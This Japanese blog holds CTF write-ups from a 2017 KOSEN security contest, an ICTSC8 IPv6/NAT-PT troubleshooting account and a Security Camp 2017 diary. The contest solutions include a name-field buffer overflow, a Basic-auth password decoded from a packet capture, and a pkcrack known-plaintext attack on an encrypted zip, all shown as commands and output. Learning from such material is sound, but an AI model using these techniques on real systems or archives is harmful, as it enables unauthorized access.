$ nc score.kosensc2017.tech 40048 Input your name: AAAAA Player's HP: 1000 Boss's HP: 12345678 Next round=>^Z
たぶん、最初の入力にBoFがあるんだろうなあ、と考えてA
をいっぱい入れてみる。
$ nc score.kosensc2017.tech 40048 Input your name: AAAAAAAAAAAAAAAAAAAAAA Player's HP: 1094795585 Boss's HP: 16705 Next round=>^Z
お、減った。ということで、16075をpythonでhex(16075)
してみると見事'0x4141'
という出力に。
ここで、入力したAは22個なので、1個減らせばボスのHPは0x41
で65になるのでは、と思うものの65だとちょっとまだ強い()ので、スペースでBoF。(なぜかecho -eで\x01とかが流し込めなかった、、)
$ nc score.kosensc2017.tech 40048 Input your name: AAAAAAAAAAAAAAAAAAAA Player's HP: 1094795585 Boss's HP: 32 Next round=>1 Round 1/10 Player's Attack! Boss's HP: 21 (-11) Boss's Attack! Player's HP: 1094795419 (-166) Next round=> Round 2/10 Player's Attack! Boss's HP: 12 (-9) Boss's Attack! Player's HP: 1094795244 (-175) Next round=>1 Round 3/10 Player's Attack! Boss's HP: 3 (-9) Boss's Attack! Player's HP: 1094795069 (-175) Next round=> Round 4/10 Player's Attack! Boss's HP: 0 (-10) Boss's Attack! Player's HP: 1094794937 (-132) You win! Flag is SCKOSEN{buffer_over_flow!}
Flag: Flag is SCKOSEN{buffer_over_flow!}
04 _ OreNoFS _ 500
このファイル
raw.dmg
には、どうも独自のファイルシステムが構築されているらしい。 このファイルシステムに格納されたデータは1つ、そのデータを復元しよう。
このファイルシステムは、クラスタ単位で管理されており、1クラスタ=4096byteであることは分かっている。
また、AllocationTableというFATファイルシステムでいうFAT領域とディレクトリエントリ、データ格納領域に分けられているようだ。
また、GUID Partition Table(GPT)でフォーマットされているので、その分はクラスタの管理外である点に注意しなければならない。
ATは2byte*8192、ディレクトリエントリは32byteで下記の構造体で定義されているらしい。
struct directory_entry { unsigned char magic;(1byte) char filename[8]; char extension[3]; unsigned int size;(4byte) unsigned long offset_of_cluster;(2byte) char attribute[12]; unsigned long reserved;(2byte) };
解けなかったので他の方のwriteupを読んで解きたい。。
Crypto
05 _ 簡単な暗号化2 _ 100
ファイルからフラグを探せ
チームメンバーが、1日目の夜に解いてくれた問題。
問題ファイルにアクセスすると、base64っぽい文字列がずらーっと並んでいたので、コピペして、pythonに流し込んでdecodeしてみる。
$ python >> import base64 >> input = ''' NGI1MDA0MDMwMDE0MDgwODAwMDgyYzU2NGI1MzAwMDAwMDAwMDAwMDAwMDAwMDAw... ''' >>> base64.b64decode(("".join(input.split('\n')))) '4b5004030014080800082c564b53000000000000000000000000000b0000725f6c652f73722e6c65ad73dd92034a0c41ef...' >>> len(base64.b64decode(("".join(input.split('\n'))))) 8520
decodeしてみると、何かのファイルのバイナリっぽい何かが出てくる。
チームメンバーが解いたときリトルエンディアンうんぬん言っていたので、頑張ってリトルエンディアンにしてファイルに出力してみる。
>>> b = base64.b64decode(("".join(input.split('\n')))) >>> packed = "".join([pack("<L",int("0x"+b[i:i+8], 16)) for i in range(0, len(b), 8)]) >>> "".join([pack("<L",int("0x"+b[i:i+8], 16)) for i in range(0, len(b), 8)]) '\x03\x04PK\x08\x08\x14\x00V,\x08\x00\x00\x00SK\x00\x00\x00\x00...' >>> f = open("out", "wb")
出力したものをfileコマンドで調査。
$ file out out: data
なんかうまくいっていない。。
また冷静になって考えてみると、先頭4バイトが\x03\x04PK
となっていて、なんかみたことあるなあ、、とggると、ZIPファイルのシグネチャが0x504B0304(PK\003\004)
となっていた。
なるほど。ということで、2バイトでリトルエンディアン取り直すことに。
>>> "".join([pack("<H",int("0x"+b[i:i+4], 16)) for i in range(0, len(b), 4)]) 'PK\x03\x04\x14\x00\x08\x08\x08\x00V,SK\x00\x00\x00\x00...'
お、今度はちゃんとZIPファイルと同じシグネチャになった。ということで、ファイルとして出力してみる。
>>> packed = "".join([pack("<H",int("0x"+b[i:i+4], 16)) for i in range(0, len(b), 4)]) >>> f = open("out", "wb") >>> f.write(packed)
出力したファイルを調査すると、Microsoft社のWordファイルだということが分かるので開いてみる。
$ file out out: Microsoft Word 2007+ $ mv out.doc out.docx $ open out.docx
Flag: SCKOSEN{TEXT_BUT_NOT_PLAIN}
06 _ 解凍して解答せよ _ 100
ファイルからフラグを読み取れ!
flag.zipというファイルが渡されるので、解凍すると、flagというディレクトリの中にpngが2つ展開される。
$ unzip tmp.zip Archive: tmp.zip creating: flag/ inflating: flag/masks.png inflating: flag/xor.png
開いてみると、次のような画像が表示される。 画像をみると、xorしたらなんか得られそうだし、画像のファイル名もmasksとxorだし、ということで画像のxorをとってみる。
import cv2 masks = cv2.imread('./flag/masks.png') xor = cv2.imread('./flag/xor.png') flag = cv2.bitwise_xor(masks, xor) cv2.imwrite('flag.png', flag)
Flag: SCKOSEN{simple_visual_cryptography}
07 _ 簡単な符号化 _ 100
U0NLT1NFTntiYXNlNjRfaXNfdmVyeV9lYXN5fQ
base64デコードするだけ。
$ echo "U0NLT1NFTntiYXNlNjRfaXNfdmVyeV9lYXN5fQ" | base64 -D SCKOSEN{base64_is_very_easy
Flag: SCKOSEN{base64_is_very_easy}
Network
15 _ 寝坊気味のコンピュータ _ 100
ここにある通信をキャプチャしたファイルがある。この中から、フラグを見つけ出せ!
problem.pcapngというファイルが渡されるのでとりあえずstringsコマンド...
$ strings problem.pcapng Linux 4.10.0-37-generic Dumpcap (Wireshark) 2.2.6 (Git Rev Unknown from unknown) wlp4s0 Linux 4.10.0-37-generic SCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSESCKOSE N{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wakeN{wake _on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la_on_la n_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_an_is_a 1~_z lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm} lerm}
フラグっぽいのがみえるので手動で抽出。
ちなみに、Wake-on-LANパケットは、起動したいマシンのMACアドレスを16回繰り返したデータを含むそうです。
この問題では、フラグが6文字ずつMACアドレスとしてWoLパケットに埋め込まれているという問題でした。
Flag: SCKOSEN{wake_on_lan_is_alerm}
16 _ ログインしたいんだ! _ 100
ここにある通信をキャプチャしたファイルがある。この中から、フラグを見つけ出せ!
これもまたproblem.pcapngというファイルが渡されるのでまた何も考えずstringsコマンド...
$ strings problem.pcapng ... GET / HTTP/1.1 Host: 172.27.132.124 Connection: keep-alive Authorization: Basic YWRtaW46U0NLT1NFTntiYXNpY19pc191bnNlY3VyZX0= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.102 Safari/537.36 Vivaldi/1.94.971.8 ...
ざーっと眺めるとしたのほうにbase64っぽい文字列を発見。 よく見るとBasic認証をしているので、base64デコードしてみる。
$ echo "YWRtaW46U0NLT1NFTntiYXNpY19pc191bnNlY3VyZX0=" | base64 -D admin:SCKOSEN{basic_is_unsecure}
Flag: SCKOSEN{basic_is_unsecure}
別解
たぶんこっちが正攻法。
WireSharkなどのパケットキャプチャツールでproblem.pcapngを開くと、401 Unauthorized
で認証に何度も失敗しているHTTP通信が見られるので、認証に成功している(200 OKな)パケットを探す。
48パケット目に200 OK
なパケットがあり、その直前のGET / HTTP/1.1
なパケットを見ると、Basic認証の情報があるので、パスワードがフラグになっている。
Flag: SCKOSEN{basic_is_unsecure}
17 _ ファイル送信 _ 200
これはファイルを送受信しているpcapです
file.pcapというファイルが与えられるので、とりあえずstrings...してもあまり嬉しい情報は見つからなかった。
素直にWireSharkで開くと、Lenna.png
と、lock.zip
がHTTP通信で送受信されているのがわかる。
ということで、WireSharkのFile -> Export Objects -> HTTP -> Save All
でファイルをエクスポート。
それぞれのfileコマンドの結果を見てみる。
$ file Lenna.png lock.zip Lenna.png: PNG image data, 512 x 512, 8-bit/color RGB, non-interlaced lock.zip: Zip archive data, at least v2.0 to extract
普通のファイルっぽいので、普通にunzipしてみる。
$ unzip lock.zip Archive: lock.zip [lock.zip] Lenna.png password: password incorrect--reenter: password incorrect--reenter: skipping: Lenna.png incorrect password [lock.zip] flag.txt password: password incorrect--reenter: password incorrect--reenter: skipping: flag.txt incorrect password
普通にパスワードがかかっててunzipできない。
ここでみんなで数時間悩んだ。
「Lenna.pngにパスワードが隠されているのでは?」「TCPパケットにパスワードが隠されているのでは?」「BruteForceでパスワードクラックするのでは?」
結論からいえば、既知平文攻撃でした。
1日目終了後、おうちに帰って冷静になってctf zip パスワード
とかでwriteupを適当にggっていたら、あ。これだ。
SECCON 2015 Online CTF Writeup
ということで、pkcrackをインストールし、早速実行。
$ zip Lenna.zip Lenna.png $ pkcrack -C lock.zip -c Lenna.png -P Lenna.zip -p Lenna.png -d flag.zip ... Done. Left with 90 possible Values. bestOffset is 298362. Stage 1 completed. Starting stage 2 on Sun Oct 22 23:51:16 2017 Ta-daaaaa! key0=e15a792b, key1=591e8679, key2=9dee3dba Probabilistic test succeeded for 175560 bytes. Ta-daaaaa! key0=e15a792b, key1=591e8679, key2=9dee3dba Probabilistic test succeeded for 175560 bytes. Stage 2 completed. Starting zipdecrypt on Sun Oct 22 23:51:19 2017 Decrypting Lenna.png (155edefb6ebeec35536b5a3d)... OK! Decrypting flag.txt (f38434531be49de337a96b0e)... OK! $ cat flag.txt SCKOSEN{k_p_t_a}
Flag: SCKOSEN{k_p_t_a}
おわりに
今回のKOSENセキュコンでは、圧倒的知識不足を感じました(毎回感じてる気がする)。
というのも、解きたい問題のメインテーマについてそこそこ知識が無いと解けない問題というものにどんどん直面してきてるように感じるので、もっと広く深く勉強したいです。
解けなかった問題についても、プロ各位のwriteupを見て勉強したいです。。
楽しい大会をありがとうございました!
ICTSC8に参加したおはなし
はじめに
今回は、ICTトラブルシューティングコンテスト第8回(以下、ICTSC8)に参加してきた(記事を書いてる今は真っ最中)ので、備忘録、そして戒めの記録としてこの記事を書きます。
ICTSC8にはEagleJumpというチーム名で参加させていただきました。
ちなみに、こういうWrite-Up的なものを書くのは初めてなので、ログなどの取り忘れが多いです。。
1日目
1日目終了時点では500点で8位/15位でした。
ちなみに1位のチームは1960点、2位920点、3位890点って感じでした。
1位圧倒的ですね。。2位3位もぉっょぃ。。
ちなみに1日目は1問も解けませんでした。。
チームメンバーにめちゃくちゃ自虐キツイって言われたんですが、自戒の念も含め、ですね。
伝統の国 第二のトラブル (ipv6環境構築)
1日目に解こうとした問題を2日目には完全に解けるように、ipv6の基礎を理解するためにおうちに帰って簡単に、思い出せる限りで同じ環境を構築してみました。
構成
時間が無かったので(帰宅22時スタート)、端末はMacBook Pro(MacOS Sierra)とRaspberryPi3(CentOS 7, 問題ではUbuntu)を使用して、ルーターは実機で892j(問題では1941?)を使用しました。
パケトレでもいいかなって思ったのですが、時間もなかったので(重要)、なんか途中までやって機能制限されてたら嫌だなって思って実機にしました。
問題は892jから1941にconfigそのまんま移植しちゃったてへぺろな的な感じだったので、完全には再現できていませんが、ipv6とNAT-PTの勉強も兼ねて、前日(当日)夜の悪あがきです。
ネットワーク図は以下のとおりです(ipv6のネットワーク図の書き方わからない)。。
fa0 設定
まず892jにRaspberryPi3(以下、rpi)に繋いでいるインターフェイスの設定を行いました。(ちょろいちょろい)
2分後…
Router(config-if)#ip address 192.168.140.2 255.255.255.0 % IP addresses may not be configured on L2 links FastEthernet0.
インターフェイスにIPアドレスが割り振れない。。
どうやら892jでは(?)、LANポートはL2スイッチなので直では割り振れないよう。。
ということで、VLAN。
Router(config)#vlan 10 Router(config-vlan)#exit Router(config)#int vlan 10 Router(config-if)# *Aug 26 14:12:14.083: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan10, changed state to down Router(config-if)#ip address 192.168.140.1 255.255.255.0 Router(config-if)#no shutdown Router(config-if)#exit Router(config)#int fa0 Router(config-if)#switchport access vlan 10 Router(config-if)#end
Vlan10の設定と、インタフェースへの割当が出来たので、つぎは疎通確認。
Router#ping 192.168.140.2 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 192.168.140.2, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms
できた。
gi0 設定
次はMacBookPro(macだとmacアドレスと分かりづらいので以下、mbp)に繋いでいるインターフェイスの設定を行いました。
Router(config)#ipv6 unicast-routing Router(config)#int gi0 Router(config-if)#ipv6 address 2001:DB8:3002::9/64 Router(config-if)#no shutdown Router(config-if)#end
これでmbp側のインターフェイスの設定が終わりましたので、あとは疎通確認。
Router#ping ipv6 <mbp ipv6 address> Output Interface: GigabitEthernet0 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to FE80::82C:2547:BBA2:48FA, timeout is 2 seconds: Packet sent with a source address of <mbp ipv6 address>%GigabitEthernet0 !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 0/0/0 ms
できた。
gi0の場合はVLAN振らなくていいらしい。
NAT-PT 設定?
さあここからが勝負。
以下のサイトを参考にNAT-PTの設定を行っていきます。
changineer.info
まずはipv6 natのプレフィクスの設定と、vlan10とgi0のnatの設定。
Router(config)#ipv6 nat prefix 2017::/96 Router(config)#int vlan 10 Router(config-if)#ipv6 nat Router(config-if)#exit Router(config)#int gi0 Router(config-if)#ipv6 nat Router(config-if)#exit Router(config)#!ここのexitって要るのだろうか、、
つぎに、v4からv6への変換?とv6からv4への変換?
基本的に問題の(一部だけ)持ち帰ったconfigの通りに写経しただけなので、あんまり意味がわかっていない。。
Router(config)#ipv6 nat v4v6 source 192.168.140.1 2017::192.168.140.1 Router(config)#ipv6 nat v4v6 source 192.168.140.2 2017::192.168.140.2 Router(config)#ipv6 nat v6v4 source list v6-src pool v4-pool overload Router(config)#ipv6 nat v6v4 pool v4-pool 192.168.130.1 192.168.130.1 prefix-length 24
そして、ipv6のルーティングプロトコルの設定?と、各インタフェースへの割当。
この辺も正直必要なのか必要でないのかよくわかっていない。。
今回、問題のconfigをなぜか一部しか持って返っていなかったのでルーティングプロトコルの設定とか何すれば良いんだろうみたいな感じでした。
そもそもNAT-PTだとルーティングプロトコルとか要らないんでしょうか。。
Router(config)#ipv6 router rip P1 Router(config-rtr)#exit Router(config)#int fa0 Router(config-if)#exit Router(config)#ipv6 router rip P1 Router(config-rtr)#exit Router(config)#int vlan 10 Router(config-if)#ipv6 rip P1 enable Router(config-if)#exit Router(config)#int gi0 Router(config-if)#ipv6 rip P1 enable Router(config-if)#exit
最後になんかaccess-listを作って割当。
Router(config)#ipv6 access-list nat_traffic Router(config-ipv6-acl)#permit ipv6 any 2017::/96 Router(config-ipv6-acl)#exit Router(config)#int vlan 10 Router(config-if)#ipv6 nat prefix 2017::/96 v4-mapped nat_traffic Router(config-ipv6-acl)#exit
これで設定は終わり。。
ping等で疎通確認が出来て安心できたのかこの日は、ろくにログも取らずに午前3時に作業を終えました。
ログが取れた際のVlan10(rpi側インタフェース)と、gi0(mbp側インタフェース)、アクセスリストまわりのコンフィグと、"show ipv6 route connected"コマンドの結果を以下に載せます。
interface GigabitEthernet0 no ip address duplex auto speed auto ipv6 address 2001:DB8:3002::9/64 ipv6 nat ! interface Vlan10 ip address 192.168.140.1 255.255.255.0 ipv6 enable ipv6 nat prefix 2017::/96 v4-mapped nat_traffic ipv6 nat ! ip forward-protocol nd ! no ip http server no ip http secure-server ! logging esm config ipv6 nat v4v6 source 192.168.140.1 2017::C0A8:8C01 ipv6 nat v4v6 source 192.168.140.2 2017::C0A8:8C02 ipv6 nat v6v4 source list v6-src pool v4-pool overload ipv6 nat v6v4 pool v4-pool 192.168.140.1 192.168.140.1 prefix-length 24 ipv6 nat prefix 2017::/96 ! ipv6 access-list nat_traffic permit ipv6 any 2017::/96
Router#show ipv6 route connected IPv6 Routing Table - default - 4 entries Codes: C - Connected, L - Local, S - Static, U - Per-user Static route B - BGP, HA - Home Agent, MR - Mobile Router, R - RIP D - EIGRP, EX - EIGRP external, ND - Neighbor Discovery O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2 ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2 C 2001:DB8:3002::/64 [0/0] via GigabitEthernet0, directly connected C 2017::/96 [0/0] via NVI0, directly connected via Vlan10, directly connected
2日目
2日目、まあ気持ち悪い。 ねむい。 それでもこの日に1問でも解かなければ人権が無さそうだったので、頑張りました。
結果、前日(当日早朝)にやった問題再現が功を奏したか、伝統の国 第二のトラブルを無事満点(300点)で解くことができました。
ありがとうございました。
伝統の国 第二のトラブル (Write-Up的なもの)
以下、1問だけWrite-Up的なものです。
詳しい解説とかはまた時間があるときにでも、、()
問題
ちょっと見にくいですが、当日のUIも兼ねて、こんな感じでしたというご紹介。
初めて見る方は問題文の設定が意味不明すぎると思うのでちょっとうろ覚え解説。
我々、参加者は謎の世界に飛ばされたらしく、謎の世界の謎の国々でトラブルを解決するストーリーらしいです(かなりざっくり)。
問題は、環境構築でもあったとおり、ipv4とipv6の変換をnat-ptで行おうと思ったけど、config移植したらぶっ壊れたみたいなお話でした。
解答
以下に、実際の解答をほぼ原文でペーストします。
お疲れ様です。EagleJumpの***です。 問題14の回答を送らせていただきます。 この問題では、"ipv6 access-list v6-src"の設定ミスが原因で、IPv6からIPv4への変換が出来ず、疎通ができないというトラブルが発生していたと考えられました。 また、"ip cef"および"ipv6 cef"が有効になっていたため、パケットDropが発生していました。 以上のトラブルを解消すべく、以下のように設定を変更し、「1941のgi0/0ポートに繋いだIPv6アドレスのみを持つPCから192.168.140.1にping」が正しく通ることを確認いたしました。 ご確認のほど、よろしくお願いいたします。 v6-srcアクセスリストの編集 1941(config)#ipv6 access-list v6-src 1941(config-ipv6-acl)#no permit ipv6 1::/64 any 1941(config-ipv6-acl)#permit ipv6 2001:db8:3002::/64 any "ip cef"および"ipv6 cef"の無効化 1941(config)#no ip cef 1941(config)#no ipv6 cef 以上の修正を行った上で、「1941のgi0/0ポートに繋いだIPv6アドレスのみを持つPCから192.168.140.1にping」が通ったので、その結果を以下に示します。 $ ping6 2017::192.168.140.1 PING6(56=40+8+8 bytes) 2001:db8:3002::442b:59a3:1c29:e83f --> 2017::c0a8:8c01 16 bytes from 2017::c0a8:8c01, icmp_seq=0 hlim=254 time=1.686 ms 16 bytes from 2017::c0a8:8c01, icmp_seq=1 hlim=254 time=1.337 ms 16 bytes from 2017::c0a8:8c01, icmp_seq=2 hlim=254 time=1.580 ms ^C --- 2017::192.168.140.1 ping6 statistics --- 3 packets transmitted, 3 packets received, 0.0% packet loss round-trip min/avg/max/std-dev = 1.337/1.534/1.686/0.146 ms 解答は以上です。 採点のほど、よろしくお願いいたします。
この問題のキモは、アクセスリストの設定ミスだったようなので、アクセスリストを変更しました。
また、NAT-PT使用環境ではcef(Cisco Express Forwarding)はサポートされていないので、無効化する必要がある、という点が満点に繋がったのかなと思います。
まとめ
最終的なチームとしての結果は1310点?とかで、何位ぐらいなんでしょうね。。
もしこれを見てくださっているICTSC8運営の方いらっしゃいましたら、ランキングの公開ぜひお願いしたいです。。
次回は関西で開催されるのが決定されているそうですが、別のイベントで忙しそうなので出れるかは微妙ですが、日程が合えば予選参加したいです。
次はこのぐらいの問題は1日目の午前の1/2ぐらいでちゃちゃっと解いてみたいものです。。
セキュリティ・キャンプ 2017 のおはなし
はじめに
セキュリティ・キャンプ 2017 (以下、キャンプ)に参加させていただいたのでブログを開設することを決めました。
今回のブログでは、キャンプ中に起きた出来事や思ったこと(講義の内容については割愛)などを書いていこうと思います。
はじめて書くのでつたないブログになるかとは思いますが、優しい目で見ていただけると幸いです。
また、もし公開してはならない情報まで公開していた場合はコメントやTwitter(@o__g_)等にて教えていただけるとありがたいです。
目次
受けた講義
キャンプでは選択講義で以下の講義を受けました。
もし、この講義どうだった?とか、この講義楽しかったよね〜〜、とかってお話をして頂ける場合はコメントやTwitter(@o__g_)等で、連絡いただけると喜びます。
- A1 PowerShellベースのマルウェアとその防御手法
- A2 AIのデータ汚染を検知しよう
- A3 AIのデータ汚染を検知しよう
- A4 Androidのマルウェアなアプリを機械学習で検知しよう!
- A5 Availability Challenge ~サービスの可用性を確保せよ~
- E6 インシデントレスポンスで攻撃者を追いかけろ
- E7 インシデントレスポンスで攻撃者を追いかけろ
DAY1
初日。
この日は集合(受付)が12:00~12:30とのことだったので、途中で名刺入れとかお菓子とか買いながらのんびり向かおうと思っていました。 しかし、知り合いのチューターに早く来たほうがいいと言われたので、諸々を諦め会場に向かうことにしました。
会場に着きいろいろ手続きを済ませ、ホールへ案内されるとすでに8割ぐらい参加者が揃っていて、名刺交換会なるものが始まっていました。 ぼくはもともと人見知りなので、その場では多くの人とは名刺交換をすることができず、キョロキョロあたりを見回しながら、名前順に配置された4人1テーブルのメンバーと少し挨拶をしたりしました。
会場に着いて数分後、まだ12:30にもなっていないのに食事の案内が行われ、まだ来ていない人もいたため、早く来て良かった、、と思いました。 食堂では4人1テーブルという感じで、ホールでのテーブルのメンバーと一緒に食べました。 食事の内容等については、他の方のブログやTwitterで“#seccamp”タグを検索すれば得られると思います(あとがき: カレーが結構辛かった)。
食事を終えると、結構時間が余っていたためホールに戻ると、また名刺交換会が始まり、そこでは勇気を出していろんな方と名刺を交換することができました。 名刺を持ってきていないという方も居て、その方は俗に言う「人権を失った」状態だったので、やっぱり持ってきて良かったと思いました。
名刺については、学校で用意していただいたものを持っていったのですが、やはり自分のSNSアカウントやハンドルネーム等が載った名刺も作って持ってきたほうが良かったなあと思いました。 ちゃんとした名刺(会社や学校のもの)とふざけた名刺(個人のSNSや趣味などを書いたもの)といった2種類の名刺を渡してくださった方や、片面に社用、裏面に私用の名刺を刷ってある方もいたので参考にさせていただきたいと思います。
その後は、ぉっょぃ方々によるお話や講義が約4時間弱続きましたが、前日深夜の事前課題ラストスパートに起因する集中もとい意識が朦朧としてしまったことだけをお伝えし、内容については割愛させていただきます。
講義が終わると、また食事の案内があり、食事を終えるとまたホールに戻ってきて、最後のグループワークのセッションに移りました。 グループワークでは、4つのテーマのうち1つのテーマを選んで議論し、最終日に発表するというものでした。 チーム分けは自分のテーブルの4人と隣のテーブルの4人を合わせた計8人でした。 ぼくはチームでリーダーを立候補しましたが、5日間通して大したことをやっていないので、グループワークについても詳細は、この記事では割愛させていただきます。
ここまでで、キャンプDAY1が終わり、それぞれ自室に帰ってゆっくり休みました。 ちなみに部屋の中はこんな感じでした。 なんか脱ぎ捨てられたシャツが写り込んでいますが気にしないでください。
DAY2
2日目の朝はとにかくつらかったです。
グループワークのお話を07:30から食堂でしよう!とチームメンバーと決めていたのですが、集まったものの、ほぼ全員が頭働いてなくて、議論のぎの字も無く、次に集まる日程のみを決めてあとは食事に集中することにしました。 それ以降の3日間は言うまでもなく、朝の会議はなくなりました。
食事のあとは08:30からすぐに専門講義が始まるので、それぞれの部屋に向いました。 2日目だけ専門講義(1コマ4時間)が3コマ入っていて、キツかったですが、楽しかったです。
ぼくは、2日目の昼食と夕食のときにIPAによる取材?が入っていたので、食事を急いで食べなければならず結構そこはつらかったです。
そしてこの日の夜は、22:00から疲れた身体にムチを打って()、朝やり損ねたグループワークの続きを行いました。 案の定、進捗はあまり良くなかったです。
その後、部屋に帰って次の日の講義の事前課題の発表資料を作ろうと思っていました。 しかし、某ズにて講師の方から「心配しないでください。寝てください。」とのお告げがありましたので、本能のままに眠りにつきました。
2日目に受けた選択講義は以下のとおりです。
- A1 PowerShellベースのマルウェアとその防御手法
- A2 AIのデータ汚染を検知しよう
- A3 AIのデータ汚染を検知しよう
DAY3
3日目の朝もつらかったです。
この日も朝からご飯を食べ(当たり前のことですが当たり前ではない)、08:30から講義を受けるというスケジュールでした。 しかし、講義は楽しいので、そこまでストレスではありませんでしたが、やはり眠いものは眠いですね。
最初の講義では、前日に詰めようと思っていた出来かけの発表資料で発表したのですが、その講義の参加者の半分?ぐらいしか発表資料出来ていないって感じでびっくりしました。
最初の講義が終わって昼食を食べていたのですが、あまりにも眠すぎて、早く食べてお昼寝しようと思いましたが、微妙に時間が足らず断念しました。
夕食では、参加者、チューター、講師、その他という分類で、決められた座席に座り、講師の方やチューター、参加者との交流を行いました。
この日は、朝食、講義、昼食、講義、夕食と、ここまでは2日目と同じだったのですが、夕食のあとにBoF(85分)と企業プレゼンテーション(30分)、最後にグループワーク(80分)、と盛りだくさんな1日でした。
全てのセッションが22:00に終わって、それ以降は部屋に戻ってゆっくりTwitterを見る時間にしました。 すると、Twitterにて、4日目に受ける講義(E6,7)の事前課題一緒にやろう!というお誘いをいただいたので、終わってはいたものの、まだ不十分であると感じていたため、集合場所に向いました。 事前課題の続きは、以下写真の中央右下に小さく見えます、丸テーブルにて行いました。
今更ですが、今年の会場(クロスウェーブ府中)はとても綺麗で、こういった、簡単に話し合いができるような場所もあって、デザインもすごく素敵いい場所だなあと思いました。
3日目に受けた選択講義は以下のとおりです。
DAY4
4日目の朝もつらかったです。毎日朝はつらいですね。
この日も、2日目と3日目と同じく、講義2コマを朝昼夕食で挟むようなスケジュールで進んでいきました。
この日は、3日目のお昼に考えていたお昼寝大作戦を決行いたしました。
1コマ目の講義が終わり、すぐに食堂へむかい、1分たりとも時間を無駄にするなと言わんばかりに、食事を素早く済ませ、一緒のテーブルで食べていたキャンプ参加者に行って参ると一言を残し、自室へむかいました。
自室のドアになにかよくわからないヒモがかかっており、掃除のおばちゃんがお昼寝中に来ると嫌だなと思い、合鍵であけられないよう内鍵(U字ロック?)をかけ、閉まっていたはずのカーテンがなぜか開いていたので閉め、念入りにiPhoneでアラームを30分後にセットしました。
そして、眠いはずなのに覚醒している脳をなだめるよう、目をつぶり眠りにつこうとしました。
目をつぶって数分後、だんだん夢にも入ってきたなあというころ、いろんな人の話し声や笑い声の幻聴が大音量で聞こえてきました。
これはまずい、と思った頃にはもう遅く意識がハッキリしたころにはすでに金縛りにかかっていました。。
金縛りが解け、時計を見るとまだ10分しか経っていませんでしたので、また眠りにつき残りの20分で精一杯眠気を飛ばそうと思いました。
結局あとの20分も変な夢ばかり見て、30分間で眠気を覚ますこともなく、逆に疲れるような体験をしてしまいました。
そして疲れた顔で2コマ目の講義に向いました。
この日の夕食は、やけに豪華な感じでした。 しかし、豪華なだけに「なんか今日量少ないね」という声も聞こえてきました。が、ぼくは美味しかったので満足できました。 (食べかけですが、気にしないでください。)
夕食のあとは、企業プレゼンテーションとグループワークがあり、BoFが無い代わりに21:00に解散となっていました。
しかし、グループワークのあとサプライズがあり、プレゼントがホールの外に並べてあるとのアナウンスがあり、会場がざわつきました。
班ごとに、プレゼントを見て回ると、そこには本やリュック、マイコンボード?などのいろいろなプレゼント(以下ツイート参照)がありました。
講師・チューターからの特別プレゼント! #spcamp #seccamp pic.twitter.com/U7XWX4n6yz
— セキュリティ・キャンプ (@security_camp) August 18, 2017
ぼくは、OS自作本とNN自作本を選びました。 他にもトラ技Jr.とInterfaceも全員がいただきました。 本当にありがたいです。 今後、この本を読んで、ネタにしたブログを書きたいと思っています。 ありがとうございました。 精一杯還元したいと思います。
そして、21:00からグループワークの続きをやろうかとも思いましたが、チームメンバーもみんな疲れているだろうしということで、21:00以降は残業はしませんでした。ホワイトですね。
4日目に受けた選択講義は以下のとおりです。
- E6 インシデントレスポンスで攻撃者を追いかけろ
- E7 インシデントレスポンスで攻撃者を追いかけろ
DAY5
最終日です。
「5日目の朝もつらかったです。」という文面を期待していた方もいたかとは思いますが、この日は朝食を犠牲にして睡眠を得ることで、多少のつらみを抑えることに成功しましたことをご報告いたします。
(本当はこの作成を2日目から使いたかったのですが、さすがに講義中にエネルギー切れになるのは避けたいので封印していました。)
集合のギリギリまで寝ていていつもよりほんのすこしだけ眠くないぼくは、急いでホールに向い、最後のグループワークを行いました。 最後のグループワークでは、資料作成を行いました。 みなさんやはりおつかれでしたが、その後なんとか発表資料を提出し、発表を無事(?)終えることが出来ました。。 他のメンバーもそうですが、身体を張って発表してくださったお二方には特に感謝したいと思います。
10班全ての発表を終えると、昼食を食べ、またホールに戻り、専門講義の成果報告のプレゼンを見ました。 専門講義ではこういうことやってたのか、こういう成果があったのかというようなことがわかったので良かったと思います。
そして最後に、ぉっょぃ方々のお言葉で閉会式が終わり、セキュリティキャンプは幕を閉じました。
と思いきや、それでは集合写真を撮りますのでということで1階フロントに集まり、最後に集合写真を取りました。
「圧倒的」「「「成長!!」」」
セキュリティ・キャンプ全国大会2017全て終了しました。
— セキュリティ・キャンプ (@security_camp) August 19, 2017
お疲れ様でした! #spcamp #seccamp pic.twitter.com/xB7arI3Xpe
感想
出来事が長くなってしまったので、感想は簡潔に済ませたいと思います。
キャンプの感想を一言で、まとめるならば「足りない」です。
事前課題を行う事前期間、実際に講義を受ける5日間、そして事後の今日に至るまでを含め、圧倒的に時間が「足らない」と感じています。
なぜかというと、この約2,3ヶ月だけで講師,チューターの持っている知識を完全に得られることはほぼ不可能で、さらに言えば、5日間という短い期間では受ける講義の範疇の知識を全て得るというのは不可能だと思ったからです。
何が言いたいかというと、セキュリティ・キャンプに参加しただけでは、圧倒的成長することは出来ず(中には出来た方もいるかもしれません)、参加した後もモチベーションを継続して、勉強していくことが大事だなと感じました。
また、この5日間ではいろんな分野の知識を広く浅く学ぶことによって、以前に増して今後の学習の方向性が固まって、以前に増してモチベーションを維持することができるようになったと思います。
